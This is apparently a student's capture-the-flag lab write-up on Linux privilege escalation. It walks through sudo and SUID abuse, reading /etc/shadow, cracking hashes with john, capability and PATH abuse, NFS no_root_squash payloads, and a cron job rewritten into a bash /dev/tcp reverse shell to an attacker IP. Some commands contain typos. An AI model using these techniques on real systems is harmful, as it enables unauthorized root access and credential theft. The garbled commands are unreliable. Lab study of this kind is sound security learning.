Spider Security

LineKernel

Abdelrahman Ali Abdelaziz

Privilege escalation occurs when a computer user exploits system vulnerabilities or misconfigurations to gain access to other user accounts within a computer system. By obtaining access to these accounts, they can access additional files and execute administrative commands.

In privilege escalations, there are two types of privilege escalations

1. Vertical privilege escalation.

2. Horizontal privilege escalation.

Enumeration

The hostname command will return the hostname of the target machine

hostname 
or
uname -n
Hostname For wade

To get the Linux Kernel Version Use uname -r

uname -r

python version 

python -V
cat /etc/issuse

initial Access

The kernel is the central program within a computer's operating system, holding full control over all aspects of the system. It is the part of the operating system that always remains in memory, enabling communication between hardware and software components. Typically written in a low-level language like C, the kernel is susceptible to binary exploitation techniques, which can be used to uncover vulnerabilities.

If you want to gain privilege escalation you can search for a POC using

cat /proc/version
uname -a
searchsploit "Linux Kernel version" or search in Google site:exploit-db.com "Linux kernel version

ok I will search for the version of kernel-vulnerable

I found CVE-2015-1328

  • Ubuntu 14.04 - Linux ubuntu 3.13.0-24-generic #46-Ubuntu x86_64

gcc exploit.c -o exploit

privEsc

programs that the user can sudo

By running sudo -l we can see all the binaries a user can do. we first run sudo -l

User karen may run the following commands on ip-10-10-202-96:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano
sudo less flag2.txt
sudo less

To get a password Frank uses sudo less /etc/shadow

Privilege Escalation: SUID

We run the command

If the binary can lead to a privilege escalation

find / -type f -perm -04000 -ls 2>/dev/null

i searched i google to find the privisc using base64

base64 "$LFILE" | base64 --decode

unshasow

unshadow pass.txt shadow.txt > passshadow.txt
john passshadow.txt

Limited capabilities

Remember

If the permission of a binary can lead to a privilege escalation

We search for this flaw using getcap.

getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep

i searched i google to find the privisc using capabilities

vim -c `:py3 import os; os.setuid(0); os.excel("/bin/sh", "sh", "-c", "reset; exec sh")'

crontab

Cron => used to create job scheduling in Linux

first, check for crontab config 

/etc/crontab

check all files u found check any think

We first check /karen/backup.sh

We first modify /Karen/backup.sh since we have permission

#!/bin/bash
bash -i >& /dev/tcp/10.21.32.157/4444 0>&1

chmod 777 backup.sh

#set Revers shell in attacker 
nc -nvlp 4444
unshadow pass.txt shadow.txt > passshadow.txt
john passshadow.txt

Privilege Escalation: PATH

find the files writeable 

find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
export PATH=/tmp:$PATH

Privilege Escalation: NFS

Exploiting the Network File Sharing Protocol

Network File Sharing (NFS) is a protocol allowing you to share directories and files with other Linux clients over a network

cat /etc/exports

Read the _ /etc/exports _ file, if you find some directory that is configured as no_root_squash, then you can access it from as a client and write inside that directory as if you were the local root of the machine.

showmount -e <you-ip>

  • Mounting that directory in a client machine, and as root copying inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it SUID rights, and execute from the victim machine that binary (you can find here some C SUID payloads).

  1. #Attacker, as root user
gcc -static payload.c -o payload
mkdir /tmp/pe
mount -o rw <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload
chmod +s payload

#Victim
cd <SHAREDD_FOLDER>
./payload

Capstone Project

Enumeration

Find the SUID 

find / -type f -perm -04000 -ls 2>/dev/null

unshadow

Password1

su missy

check the sudo 

sudo -l

sudo Find

sudo find . -exec /bin/sh \; -quit

Exploit Resources

other Resources

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